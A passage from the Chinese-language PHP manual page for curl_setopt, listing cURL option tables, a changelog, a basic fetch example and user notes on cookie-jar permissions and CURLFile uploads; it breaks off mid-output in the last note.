CURLOPT_PROXY_SSLVERSION CURL_SSLVERSION_DEFAULT、CURL_SSLVERSION_TLSv1、CURL_SSLVERSION_TLSv1_0、CURL_SSLVERSION_TLSv1_1、CURL_SSLVERSION_TLSv1_2、CURL_SSLVERSION_TLSv1_3、CURL_SSLVERSION_MAX_DEFAULT、CURL_SSLVERSION_MAX_TLSv1_0、CURL_SSLVERSION_MAX_TLSv1_1、CURL_SSLVERSION_MAX_TLSv1_2、CURL_SSLVERSION_MAX_TLSv1_3 或 CURL_SSLVERSION_SSLv3 其中之一。

Note:

最好的办法是不要设置它，使用默认的 CURL_SSLVERSION_DEFAULT，这将尝试找出远程 SSL 协议版本。

自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_STREAM_WEIGHT | 设置 stream weight 数值 ( 1 和 256 之间的数字). | cURL 7.46.0 中添加，自 PHP 7.0.7 起有效。
CURLOPT_TCP_KEEPALIVE | 如果设置为 1，将发送 TCP keepalive 探针。这些探针的延迟和频率可以通过 CURLOPT_TCP_KEEPIDLE 和 CURLOPT_TCP_KEEPINTVL 选项来控制，前提是操作系统支持它们。如果设置为 0（默认值），将禁用 keepalive 探针。 | 在 cURL 7.25.0 中添加。
CURLOPT_TCP_KEEPIDLE | 设置延迟（以秒为单位），如果启用了 CURLOPT_TCP_KEEPALIVE，操作系统将在连接空闲时等待，然后再发送 keepalive 探针。并非所有操作系统都支持此选项。默认值为 60。 | 在 cURL 7.25.0 中添加。
CURLOPT_TCP_KEEPINTVL | 设置间隔（以秒为单位），如果启用了 CURLOPT_TCP_KEEPALIVE，操作系统将在发送 keepalive 探针之间等待。并非所有操作系统都支持此选项。默认值为 60。 | 在 cURL 7.25.0 中添加。
CURLOPT_TIMECONDITION | 设置如何对待 CURLOPT_TIMEVALUE。 使用 CURL_TIMECOND_IFMODSINCE，仅在页面 CURLOPT_TIMEVALUE 之后修改，才返回页面。没有修改则返回 "304 Not Modified" 头，假设设置了 CURLOPT_HEADER 为 true。CURL_TIMECOND_IFUNMODSINCE 则起相反的效果。使用 CURL_TIMECOND_NONE 忽略 CURLOPT_TIMEVALUE 并始终返回页面。默认为 CURL_TIMECOND_IFMODSINCE。 | 在 cURL 7.46.0 之前，默认值为 CURL_TIMECOND_IFMODSINCE。
CURLOPT_TIMEOUT | 允许 cURL 函数执行的最长秒数。
CURLOPT_TIMEOUT_MS | 设置cURL允许执行的最长毫秒数。 如果 libcurl 编译时使用系统标准的名称解析器（ standard system name resolver），那部分的连接仍旧使用以秒计的超时解决方案，最小超时时间还是一秒钟。 | 在 cURL 7.16.2 中被加入。
CURLOPT_TIMEVALUE | 秒数，从 1970年1月1日开始。这个时间将由 CURLOPT_TIMECONDITION 使用。
CURLOPT_UPKEEP_INTERVAL_MS | Some protocols have "connection upkeep" mechanisms. These mechanisms usually send some traffic on existing connections in order to keep them alive. This option defines the connection upkeep interval. Currently, the only protocol with a connection upkeep mechanism is HTTP/2. When the connection upkeep interval is exceeded, an HTTP/2 PING frame is sent on the connection. Default is 60 seconds.
CURLOPT_UPLOAD_BUFFERSIZE | Preferred buffer size in bytes for the cURL upload buffer. The upload buffer size by default is 64 kilobytes. The maximum buffer size allowed to be set is 2 megabytes. The minimum buffer size allowed to be set is 16 kilobytes.
CURLOPT_MAX_RECV_SPEED_LARGE | 如果下载速度超过了此速度(以每秒字节数来统计) ，即传输过程中累计的平均数，传输就会降速到这个参数的值。默认不限速。 | cURL 7.15.5 中添加。
CURLOPT_MAX_SEND_SPEED_LARGE | 如果上传的速度超过了此速度(以每秒字节数来统计)，即传输过程中累计的平均数 ，传输就会降速到这个参数的值。默认不限速。 | cURL 7.15.5 中添加。
CURLOPT_SSH_AUTH_TYPES | A bitmask consisting of one or more of CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Set to CURLSSH_AUTH_ANY to let libcurl pick one. | cURL 7.16.1 中添加。
CURLOPT_IPRESOLVE | 允许程序选择想要解析的 IP 地址类别。只有在地址有多种 ip 类别的时候才能用，可以的值有： CURL_IPRESOLVE_WHATEVER、 CURL_IPRESOLVE_V4、 CURL_IPRESOLVE_V6，默认是 CURL_IPRESOLVE_WHATEVER。 | cURL 7.10.8 中添加。
CURLOPT_FTP_FILEMETHOD | 告诉 curl 使用哪种方式来获取 FTP(s) 服务器上的文件。可能的值有： CURLFTPMETHOD_DEFAULT、 CURLFTPMETHOD_MULTICWD、 CURLFTPMETHOD_NOCWD 和 CURLFTPMETHOD_SINGLECWD。 | cURL 7.15.1 中添加。

对于下面的这些option，value应该被设置成 string：

选项 | 设置的value | 备注
CURLOPT_ALTSVC | Pass the filename for cURL to use as the Alt-Svc cache file to read existing cache contents from and possibly also write it back to a after a transfer, unless CURLALTSVC_READONLYFILE is set via CURLOPT_ALTSVC_CTRL.
CURLOPT_ALTSVC_CTRL | Populate the bitmask with the correct set of features to instruct cURL how to handle Alt-Svc for the transfers using this handle. cURL only accepts Alt-Svc headers over HTTPS. It will also only complete a request to an alternative origin if that origin is properly hosted over HTTPS. Setting any bit will enable the alt-svc engine. The options are: CURLALTSVC_H1, CURLALTSVC_H2, CURLALTSVC_H3, and CURLALTSVC_READONLYFILE.
CURLOPT_AWS_SIGV4

Provides AWS V4 signature authentication on HTTP(S) header.

This option overrides any other authentication types that have been set in CURLOPT_HTTPAUTH. This method cannot be combined with other authentication types.

CURLOPT_CAINFO | 一个保存着1个或多个用来让服务端验证的证书的文件名。这个参数仅仅在和CURLOPT_SSL_VERIFYPEER一起使用时才有意义。 . | 可能需要绝对路径。
CURLOPT_CAINFO_BLOB | The name of a PEM file holding one or more certificates to verify the peer with. This option overrides CURLOPT_CAINFO. | Available as of PHP 8.2.0 and cURL 7.77.0
CURLOPT_CAPATH | 一个保存着多个CA证书的目录。这个选项是和CURLOPT_SSL_VERIFYPEER一起使用的。
CURLOPT_COOKIE | 设定 HTTP 请求中"Cookie: "部分的内容。多个 cookie 用分号分隔，分号后带一个空格(例如， "fruit=apple; colour=red")。
CURLOPT_COOKIEFILE | 包含 cookie 数据的文件名，cookie 文件的格式可以是 Netscape 格式，或者只是纯 HTTP 头部风格，存入文件。如果文件名是空的，不会加载 cookie，但 cookie 的处理仍旧启用。
CURLOPT_COOKIEJAR | 连接结束后，比如，调用 curl_close 后，保存 cookie 信息的文件。
CURLOPT_COOKIELIST | cookie 字符串（即 Netscape/Mozilla 的单行格式，或常规 HTTP 样式的 Set-Cookie 头）将单个 cookie 添加到内部 cookie 存储中。 "ALL" 擦除内存中保存的所有 cookie。 "SESS" 擦除内存中保存的所有会话 cookie。 "FLUSH" 将所有已知的 cookie 写入到 CURLOPT_COOKIEJAR 指定的文件。 "RELOAD" 从 CURLOPT_COOKIEFILE 指定的文件中加载所有 cookie。 | 自 cURL 7.14.1 起可用。
CURLOPT_CUSTOMREQUEST

HTTP 请求时，使用自定义的 Method 来代替"GET"或"HEAD"。对 "DELETE" 或者其他更隐蔽的 HTTP 请求有用。 有效值如 "GET"，"POST"，"CONNECT"等等；也就是说，不要在这里输入整行 HTTP 请求。例如输入"GET /index.html HTTP/1.0\r\n\r\n"是不正确的。

Note:

不确定服务器支持这个自定义方法则不要使用它。

CURLOPT_DEFAULT_PROTOCOL

URL不带协议的时候，使用的默认协议。

cURL 7.45.0 中添加，自 PHP 7.0.7 起有效。
CURLOPT_DNS_INTERFACE

Set the name of the network interface that the DNS resolver should bind to. This must be an interface name (not an address).

Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP4

Set the local IPv4 address that the resolver should bind to. The argument should contain a single numerical IPv4 address as a string.

Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP6

Set the local IPv6 address that the resolver should bind to. The argument should contain a single numerical IPv6 address as a string.

Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_EGDSOCKET | 类似CURLOPT_RANDOM_FILE，除了一个Entropy Gathering Daemon套接字。
CURLOPT_ENCODING | HTTP请求头中"Accept-Encoding: "的值。 这使得能够解码响应的内容。 支持的编码有"identity"，"deflate"和"gzip"。如果为空字符串""，会发送所有支持的编码类型。 | 在 cURL 7.10 中被加入。
CURLOPT_FTPPORT | 这个值将被用来获取供FTP"PORT"指令所需要的IP地址。 "PORT" 指令告诉远程服务器连接到我们指定的IP地址。这个字符串可以是纯文本的IP地址、主机名、一个网络接口名（UNIX下）或者只是一个'-'来使用默认的 IP 地址。
CURLOPT_HSTS

HSTS (HTTP Strict Transport Security) cache file name.

CURLOPT_HSTS_CTRL

Controls HSTS (HTTP Strict Transport Security) behavior. Populate the bitmask with the correct set of features to instruct cURL how to handle HSTS for the transfers using this handle. CURLHSTS_ENABLE enables the in-memory HSTS cache. If the HSTS cache file is defined, set CURLHSTS_READONLYFILE to make the file read-only.

CURLOPT_INTERFACE | 发送的网络接口（interface），可以是一个接口名、IP 地址或者是一个主机名。
CURLOPT_KEYPASSWD | 使用 CURLOPT_SSLKEY 或 CURLOPT_SSH_PRIVATE_KEYFILE 私钥时候的密码。 | 在 cURL 7.16.1 中添加。
CURLOPT_KRB4LEVEL | KRB4 (Kerberos 4) 安全级别。下面的任何值都是有效的(从低到高的顺序)："clear"、"safe"、"confidential"、"private".。如果字符串以上这些，将使用"private"。 这个选项设置为 null 时将禁用 KRB4 安全认证。目前 KRB4 安全认证只能用于 FTP 传输。
CURLOPT_LOGIN_OPTIONS | Can be used to set protocol specific login options, such as the preferred authentication mechanism via "AUTH=NTLM" or "AUTH=*", and should be used in conjunction with the CURLOPT_USERNAME option. | Added in cURL 7.34.0. Available since PHP 7.0.7.
CURLOPT_PINNEDPUBLICKEY | Set the pinned public key. The string can be the file name of your pinned public key. The file format expected is "PEM" or "DER". The string can also be any number of base64 encoded sha256 hashes preceded by "sha256//" and separated by ";". | Added in cURL 7.39.0. Available since PHP 7.0.7.
CURLOPT_POSTFIELDS | 在 HTTP "POST"操作中要发送的所有数据。 这个参数可以是 urlencoded 后的字符串，类似'para1=val1&para2=val2&...'，也可以使用一个以字段名为键值，字段数据为值的数组。 如果value是一个数组，Content-Type头将会被设置成multipart/form-data。 可以使用 CURLFile 或 CURLStringFile 发送文件，在这种情况下，value 必须是数组。
CURLOPT_PRIVATE | Any data that should be associated with this cURL handle. This data can subsequently be retrieved with the CURLINFO_PRIVATE option of curl_getinfo(). cURL does nothing with this data. When using a cURL multi handle, this private data is typically a unique key to identify a standard cURL handle. | Added in cURL 7.10.3.
CURLOPT_PRE_PROXY | Set a string holding the host name or dotted numerical IP address to be used as the preproxy that curl connects to before it connects to the HTTP(S) proxy specified in the CURLOPT_PROXY option for the upcoming request. The preproxy can only be a SOCKS proxy and it should be prefixed with [scheme]:// to specify which kind of socks is used. A numerical IPv6 address must be written within [brackets]. Setting the preproxy to an empty string explicitly disables the use of a preproxy. To specify port number in this string, append :[port] to the end of the host name. The proxy's port number may optionally be specified with the separate option CURLOPT_PROXYPORT. Defaults to using port 1080 for proxies if a port is not specified. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY | HTTP 代理通道。
CURLOPT_PROXY_SERVICE_NAME | 代理验证服务的名称。 | 在 cURL 7.43.0 中添加了 HTTP 代理，在 cURL 7.49.0 中添加了 SOCKS5 代理。自 PHP 7.0.7 起可用。
CURLOPT_PROXY_CAINFO | The path to proxy Certificate Authority (CA) bundle. Set the path as a string naming a file holding one or more certificates to verify the HTTPS proxy with. This option is for connecting to an HTTPS proxy, not an HTTPS server. Defaults set to the system path where libcurl's cacert bundle is assumed to be stored. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_CAINFO_BLOB | The name of a PEM file holding one or more certificates to verify the HTTPS proxy with. This option is for connecting to an HTTPS proxy, not an HTTPS server. Defaults set to the system path where libcurl's cacert bundle is assumed to be stored. | Available as of PHP 8.2.0 and libcurl >= cURL 7.77.0.
CURLOPT_PROXY_CAPATH | The directory holding multiple CA certificates to verify the HTTPS proxy with. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_CRLFILE | Set the file name with the concatenation of CRL (Certificate Revocation List) in PEM format to use in the certificate validation that occurs during the SSL exchange. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_KEYPASSWD | Set the string be used as the password required to use the CURLOPT_PROXY_SSLKEY private key. You never needed a passphrase to load a certificate but you need one to load your private key. This option is for connecting to an HTTPS proxy, not an HTTPS server. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_PINNEDPUBLICKEY | Set the pinned public key for HTTPS proxy. The string can be the file name of your pinned public key. The file format expected is "PEM" or "DER". The string can also be any number of base64 encoded sha256 hashes preceded by "sha256//" and separated by ";" | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_SSLCERT | The file name of your client certificate used to connect to the HTTPS proxy. The default format is "P12" on Secure Transport and "PEM" on other engines, and can be changed with CURLOPT_PROXY_SSLCERTTYPE. With NSS or Secure Transport, this can also be the nickname of the certificate you wish to authenticate with as it is named in the security database. If you want to use a file from the current directory, please precede it with "./" prefix, in order to avoid confusion with a nickname. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_SSLCERTTYPE | The format of your client certificate used when connecting to an HTTPS proxy. Supported formats are "PEM" and "DER", except with Secure Transport. OpenSSL (versions 0.9.3 and later) and Secure Transport (on iOS 5 or later, or OS X 10.7 or later) also support "P12" for PKCS#12-encoded files. Defaults to "PEM". | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_SSL_CIPHER_LIST | The list of ciphers to use for the connection to the HTTPS proxy. The list must be syntactically correct, it consists of one or more cipher strings separated by colons. Commas or spaces are also acceptable separators but colons are normally used, !, - and + can be used as operators. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_TLS13_CIPHERS | The list of cipher suites to use for the TLS 1.3 connection to a proxy. The list must be syntactically correct, it consists of one or more cipher suite strings separated by colons. This option is currently used only when curl is built to use OpenSSL 1.1.1 or later. If you are using a different SSL backend you can try setting TLS 1.3 cipher suites by using the CURLOPT_PROXY_SSL_CIPHER_LIST option. | 自 PHP 7.3.0 和 libcurl >= cURL 7.61.0 起可用。使用 OpenSSL >= 1.1.1 编译时可用。
CURLOPT_PROXY_SSLKEY | The file name of your private key used for connecting to the HTTPS proxy. The default format is "PEM" and can be changed with CURLOPT_PROXY_SSLKEYTYPE. (iOS and Mac OS X only) This option is ignored if curl was built against Secure Transport. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。如果启用内置 TLS，则可用。
CURLOPT_PROXY_SSLKEYTYPE | The format of your private key. Supported formats are "PEM", "DER" and "ENG". | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_TLSAUTH_PASSWORD | The password to use for the TLS authentication method specified with the CURLOPT_PROXY_TLSAUTH_TYPE option. Requires that the CURLOPT_PROXY_TLSAUTH_USERNAME option to also be set. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_TLSAUTH_TYPE The method of the TLS authentication used for the HTTPS connection. Supported method is "SRP".

Note:

Secure Remote Password (SRP) authentication for TLS provides mutual authentication if both sides have a shared secret. To use TLS-SRP, you must also set the CURLOPT_PROXY_TLSAUTH_USERNAME and CURLOPT_PROXY_TLSAUTH_PASSWORD options.

自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_TLSAUTH_USERNAME | The username to use for the HTTPS proxy TLS authentication method specified with the CURLOPT_PROXY_TLSAUTH_TYPE option. Requires that the CURLOPT_PROXY_TLSAUTH_PASSWORD option to also be set. | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXYUSERPWD | 一个用来连接到代理的 "[username]:[password]" 格式的字符串。
CURLOPT_RANDOM_FILE | 一个被用来生成 SSL 随机数种子的文件名。
CURLOPT_RANGE | 以"X-Y"的形式，其中X和Y都是可选项获取数据的范围，以字节计。HTTP传输线程也支持几个这样的重复项中间用逗号分隔如"X-Y,N-M"。
CURLOPT_REFERER | 在HTTP请求头中"Referer: "的内容。
CURLOPT_SASL_AUTHZID | The authorization identity (authzid) for the transfer. Only applicable to the PLAIN SASL authentication mechanism where it is optional. When not specified, only the authentication identity (authcid) as specified by the username will be sent to the server, along with the password. The server will derive the authzid from the authcid when not provided, which it will then use internally.
CURLOPT_SERVICE_NAME | 验证服务的名称 | cURL 7.43.0 起添加，自 PHP 7.0.7 有效。
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | 包含 32 位长的 16 进制数值。这个字符串应该是远程主机公钥（public key） 的 MD5 校验值。在不匹配的时候 libcurl 会拒绝连接。 此选项仅用于 SCP 和 SFTP 的传输。 | cURL 7.17.1 中添加。
CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 | Base64-encoded SHA256 hash of the remote host's public key. The transfer will fail if the given hash does not match the hash the remote host provides.
CURLOPT_SSH_PUBLIC_KEYFILE | The file name for your public key. If not used, libcurl defaults to $HOME/.ssh/id_dsa.pub if the HOME environment variable is set, and just "id_dsa.pub" in the current directory if HOME is not set. | Added in cURL 7.16.1.
CURLOPT_SSH_PRIVATE_KEYFILE | The file name for your private key. If not used, libcurl defaults to $HOME/.ssh/id_dsa if the HOME environment variable is set, and just "id_dsa" in the current directory if HOME is not set. If the file is password-protected, set the password with CURLOPT_KEYPASSWD. | Added in cURL 7.16.1.
CURLOPT_SSL_CIPHER_LIST | 一个SSL的加密算法列表。例如RC4-SHA和TLSv1都是可用的加密列表。
CURLOPT_SSL_EC_CURVES | A colon delimited list of elliptic curve algorithms. For example, X25519:P-521 is a valid list of two elliptic curves. This option defines the client's key exchange algorithms in the SSL handshake, if the SSL backend cURL is built to use supports it.
CURLOPT_SSLCERT | 一个包含 PEM 格式证书的文件名。
CURLOPT_SSLCERTPASSWD | 使用CURLOPT_SSLCERT证书需要的密码。
CURLOPT_SSLCERTTYPE | 证书的类型。支持的格式有"PEM" (默认值), "DER"和"ENG"。 | 在 cURL 7.9.3中 被加入。
CURLOPT_SSLENGINE | 用来在CURLOPT_SSLKEY中指定的SSL私钥的加密引擎变量。
CURLOPT_SSLENGINE_DEFAULT | 用来做非对称加密操作的变量。
CURLOPT_SSLKEY | 包含 SSL 私钥的文件名。
CURLOPT_SSLKEYPASSWD

在 CURLOPT_SSLKEY中指定了的SSL私钥的密码。

Note:

由于这个选项包含了敏感的密码信息，记得保证这个PHP脚本的安全。

CURLOPT_SSLKEYTYPE | CURLOPT_SSLKEY中规定的私钥的加密类型，支持的密钥类型为"PEM"(默认值)、"DER"和"ENG"。
CURLOPT_TLS13_CIPHERS | 用于 TLS 1.3 连接的加密套件列表。列表必须在语法上正确，它由一个或多个用冒号分隔的加密套件字符串组成。当前仅当 curl 编译为使用 OpenSSL 1.1.1 或更高版本时才使用此选项。如果使用不同的 SSL 后端，CURLOPT_SSL_CIPHER_LIST 选项设置 TLS 1.3 加密套件。 | 自 PHP 7.3.0 和 libcurl >= cURL 7.61.0 起可用。使用 OpenSSL >= 1.1.1 编译时可用。
CURLOPT_UNIX_SOCKET_PATH | 使用 Unix 套接字作为连接，并用指定的 string 作为路径。 | cURL 7.40.0 中添加， PHP 7.0.7 起有效。
CURLOPT_URL | 需要获取的 URL 地址，也可以在curl_init() 初始化会话的时候。
CURLOPT_USERAGENT | 在HTTP请求中包含一个"User-Agent: "头的字符串。
CURLOPT_USERNAME | 用于身份验证的用户名。 | cURL 7.19.1 中添加。
CURLOPT_PASSWORD | 用于身份验证的密码。 | cURL 7.19.1 中添加。
CURLOPT_USERPWD | 传递一个连接中需要的用户名和密码，格式为："[username]:[password]"。
CURLOPT_XOAUTH2_BEARER | 指定 OAuth 2.0 access token。 | cURL 7.33.0 中添加，自 PHP 7.0.7 添加。

以下option，value应该被设置成数组：

选项 | 可选value值 | 备注
CURLOPT_CONNECT_TO | 连接到指定的主机和端口，替换 URL 中的主机和端口。接受指定字符串格式的数组： HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT。 | cURL 7.49.0 中添加， PHP 7.0.7 起有效。
CURLOPT_HTTP200ALIASES | HTTP 200 响应码数组，数组中的响应码被认为是正确的响应，而非错误。 | 在 cURL 7.10.3 中被加入。
CURLOPT_HTTPHEADER | 设置 HTTP 头字段的数组。格式： array('Content-type: text/plain', 'Content-length: 100')
CURLOPT_POSTQUOTE | 在 FTP 请求执行完成后，在服务器上执行的一组array格式的 FTP 命令。
CURLOPT_PROXYHEADER | 传给代理的自定义 HTTP 头。 | cURL 7.37.0 中添加，自 PHP 7.0.7 添加。
CURLOPT_QUOTE | 一组先于 FTP 请求的在服务器上执行的FTP命令。
CURLOPT_RESOLVE | 提供自定义地址，指定了主机和端口。 包含主机、端口和 ip 地址的字符串，组成 array 的，每个元素以冒号分隔。格式： array("example.com:80:127.0.0.1") | 在 cURL 7.21.3 中添加。

以下 option，value应该被设置成流资源 （例如使用fopen()）：

选项 | 可选value值
CURLOPT_FILE | 设置输出文件，默认为STDOUT (浏览器)。
CURLOPT_INFILE | 上传文件时需要读取的文件。
CURLOPT_STDERR | 错误输出的地址，取代默认的STDERR。
CURLOPT_WRITEHEADER | 设置 header 部分内容的写入的文件地址。

以下option 的 value应该是有效的函数或者闭包：

选项 | 设置 value 为 | 笔记
CURLOPT_HEADERFUNCTION | 设置一个回调函数，这个函数有两个参数，第一个是cURL的资源句柄，第二个是输出的 header 数据。header数据的输出必须依赖这个函数，返回已写入的数据大小。
CURLOPT_PASSWDFUNCTION | 设置一个回调函数，有三个参数，第一个是cURL的资源句柄，第二个是一个密码提示符，第三个参数是密码长度允许的最大值。返回密码的值。 | 从 PHP 7.3.0 开始移除。
CURLOPT_PROGRESSFUNCTION

设置一个回调函数，有五个参数，第一个是cURL的资源句柄，第二个是预计要下载的总字节（bytes）数。第三个是目前下载的字节数，第四个是预计传输中总上传字节数，第五个是目前上传的字节数。

Note:

只有设置 CURLOPT_NOPROGRESS 选项为 false 时才会调用这个回调函数。

返回非零值将中断传输。 传输将设置 CURLE_ABORTED_BY_CALLBACK 错误。

CURLOPT_READFUNCTION | 回调函数名。该函数应接受三个参数。第一个是 cURL resource；第二个是通过选项 CURLOPT_INFILE 传给 cURL 的 stream resource；第三个参数是最大可以读取的数据的数量。回 调函数必须返回一个字符串，长度小于或等于请求的数据量（第三个参数）。一般从传入的 stream resource 读取。返回空字符串作为 EOF（文件结束） 信号。
CURLOPT_WRITEFUNCTION | 回调函数名。该函数应接受两个参数。第一个是 cURL resource；第二个是要写入的数据字符串。数 据必须在函数中被保存。 函数必须准确返回写入数据的字节数，否则传输会被一个错误所中 断。
CURLOPT_XFERINFOFUNCTION | 接受两个参数的回调。与 CURLOPT_PROGRESSFUNCTION 具有相似的目的，但更现代并且是 cURL 的首选选项。 | 在 7.32.0 中添加。 从 PHP 8.2.0 开始可用。

其他值：

Option | 设置 value 为
CURLOPT_SHARE | curl_share_init() 返回的结果。 使 cURL 可以处理共享句柄里的数据。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。
7.3.15、7.4.3 | 引入 CURLOPT_HTTP09_ALLOWED 。
7.3.0 | 引入 CURLOPT_ABSTRACT_UNIX_SOCKET、CURLOPT_KEEP_SENDING_ON_ERROR、CURLOPT_PRE_PROXY、CURLOPT_PROXY_CAINFO、CURLOPT_PROXY_CAPATH、CURLOPT_PROXY_CRLFILE、CURLOPT_PROXY_KEYPASSWD、CURLOPT_PROXY_PINNEDPUBLICKEY、CURLOPT_PROXY_SSLCERT、CURLOPT_PROXY_SSLCERTTYPE、CURLOPT_PROXY_SSL_CIPHER_LIST、CURLOPT_PROXY_SSLKEY、CURLOPT_PROXY_SSLKEYTYPE、CURLOPT_PROXY_SSL_OPTIONS、CURLOPT_PROXY_SSL_VERIFYHOST、CURLOPT_PROXY_SSL_VERIFYPEER、CURLOPT_PROXY_SSLVERSION、CURLOPT_PROXY_TLSAUTH_PASSWORD、CURLOPT_PROXY_TLSAUTH_TYPE、CURLOPT_PROXY_TLSAUTH_USERNAME、CURLOPT_SOCKS5_AUTH、CURLOPT_SUPPRESS_CONNECT_HEADERS、CURLOPT_DISALLOW_USERNAME_IN_URL、CURLOPT_DNS_SHUFFLE_ADDRESSES、CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS、CURLOPT_HAPROXYPROTOCOL、CURLOPT_PROXY_TLS13_CIPHERS、CURLOPT_SSH_COMPRESSION、CURLOPT_TIMEVALUE_LARGE 和 CURLOPT_TLS13_CIPHERS。
7.0.7 | 引入 CURL_HTTP_VERSION_2、CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE、 CURL_HTTP_VERSION_2TLS、CURL_REDIR_POST_301、 CURL_REDIR_POST_302、CURL_REDIR_POST_303、 CURL_REDIR_POST_ALL、CURL_VERSION_KERBEROS5、 CURL_VERSION_PSL、CURL_VERSION_UNIX_SOCKETS、 CURLAUTH_NEGOTIATE、CURLAUTH_NTLM_WB、 CURLFTP_CREATE_DIR、CURLFTP_CREATE_DIR_NONE、 CURLFTP_CREATE_DIR_RETRY、CURLHEADER_SEPARATE、 CURLHEADER_UNIFIED、CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE、 CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE、CURLMOPT_MAX_HOST_CONNECTIONS、 CURLMOPT_MAX_PIPELINE_LENGTH、CURLMOPT_MAX_TOTAL_CONNECTIONS、 CURLOPT_CONNECT_TO、CURLOPT_DEFAULT_PROTOCOL、 CURLOPT_DNS_INTERFACE、CURLOPT_DNS_LOCAL_IP4、 CURLOPT_DNS_LOCAL_IP6、CURLOPT_EXPECT_100_TIMEOUT_MS、 CURLOPT_HEADEROPT、CURLOPT_LOGIN_OPTIONS、 CURLOPT_PATH_AS_IS、CURLOPT_PINNEDPUBLICKEY、 CURLOPT_PIPEWAIT、CURLOPT_PROXY_SERVICE_NAME、 CURLOPT_PROXYHEADER、CURLOPT_SASL_IR、 CURLOPT_SERVICE_NAME、CURLOPT_SSL_ENABLE_ALPN、 CURLOPT_SSL_ENABLE_NPN、CURLOPT_SSL_FALSESTART、 CURLOPT_SSL_VERIFYSTATUS、CURLOPT_STREAM_WEIGHT、 CURLOPT_TCP_FASTOPEN、CURLOPT_TFTP_NO_OPTIONS、 CURLOPT_UNIX_SOCKET_PATH、CURLOPT_XOAUTH2_BEARER、 CURLPROTO_SMB、CURLPROTO_SMBS、 CURLPROXY_HTTP_1_0、CURLSSH_AUTH_AGENT 和 CURLSSLOPT_NO_REVOKE。

示例

Example #1 初始化一个新的cURL会话并获取一个网页

<?php
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

//关闭cURL资源，并且释放系统资源
curl_close($ch);
?>

注释

Note:

传递一个数组到CURLOPT_POSTFIELDS，cURL会把数据编码成 multipart/form-data，而然传递一个URL-encoded字符串时，数据会被编码成 application/x-www-form-urlencoded。

参见

  • curl_setopt_array() - 为 cURL 传输会话批量设置选项
  • CURLFile
  • CURLStringFile

User Contributed Notes

alexchexes at gmail dot com 02-Aug-2023 02:06
If you want cURL to successfully write cookies to a file specified with CURLOPT_COOKIEJAR, ensure that cURL has the necessary permissions to modify the file if it already exists.

I spent nearly a day trying to understand why cURL wasn't saving cookies to an existing file, even though I could easily modify the exact same file using file_put_contents(). Moreover, cURL itself could create the same file and save cookies, but only if it didn't previously exist.

Ultimately, the issue was related to file ownership. I was working within WSL2, inside a symlinked Windows directory. The [automount]"metadata" in wsl.conf was not set, causing every file created from PHP to have the default owner, which differed from the user running PHP.

Once I configured wsl.conf and then changed the ownership of the entire directory to match the user running PHP, cookies were successfully written to any file without any issues.
Niki Romagnoli 04-Apr-2023 11:44
Set order when using CURLOPT_POST and CURLOPT_POSTFIELDS *matters*.
Setting CURL_POST to true will ERASE any previous CURLOPT_POSTFIELDS using an array. Result is request be a POST with empty body.

CURLOPT_POSTFIELDS will set CURLOPT_POST to true for you, no need for repeat.
If you really need to set both, then either:
  - set CURLOPT_POST *before* CURLOPT_POSTFIELDS
  - or don't use array and convert CURLOPT_POSTFIELDS to URL-encoded string, it will not be affected this way (ie. <?php curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($yourArray)); ?> )
qwertz182 06-Nov-2020 11:18
As the "example #2 Uploading file" says it is deprecated as of PHP 5.5.0 but doesn't tell you how it's done right,
here is a really easy example using the CURLFile class:

<?php
$request = [
    'firstName' => 'John',
    'lastName' => 'Doe',
    'file' => new CURLFile('example.txt', 'text/plain') // or use curl_file_create()
];

$curlOptions = [
    CURLOPT_URL => 'http://example.com/upload.php',
    CURLOPT_POST => true,
    CURLOPT_HEADER => false,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => $request,
];

$ch = curl_init();
curl_setopt_array($ch, $curlOptions);

$response = curl_exec($ch);
?>

This is just like posting a html form with an input[type=file] field.
The result on windows could look like this:

<?php
// $_POST
Array
(
    [firstName] => John
    [lastName] => Doe
)

// $_FILES
Array
(
    [file] => Array
        (
            [name] => example.txt
            [type] => text/plain
            [tmp_name] => C:\wamp64\tmp\php3016.tmp
            [error] => 0
